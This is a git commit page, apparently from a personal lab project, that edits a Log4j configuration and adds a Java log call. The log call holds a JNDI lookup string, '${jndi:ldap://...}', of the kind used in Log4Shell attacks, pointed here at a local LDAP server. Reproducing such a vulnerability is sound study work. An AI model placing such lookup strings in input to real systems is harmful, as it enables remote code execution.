Browse Source

feat: wip not working

master
QuentinN42 9 months ago
parent
commit
c4c9956f94
Signed by: number42 GPG Key ID: 2CD7D563712B3A50
  1. 10
      log4j2.xml
  2. 2
      src/main/java/com/project/Main.java

10
log4j2.xml

@ -1,11 +1,13 @@
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Console name="CONSOLE" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} – %msg%n" />
</Console>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<logger name="Main" level="TRACE" />
<Root level="error">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>

2
src/main/java/com/project/Main.java

@ -14,6 +14,8 @@ public class Main
{
logger.error("Started app !");
Scanner sc=new Scanner(System.in);
int x = 4;
logger.error("x = ${jndi:ldap://localhost:10389/java:java/root}");
while (true)
{
System.out.print("> ");

Loading…
Cancel
Save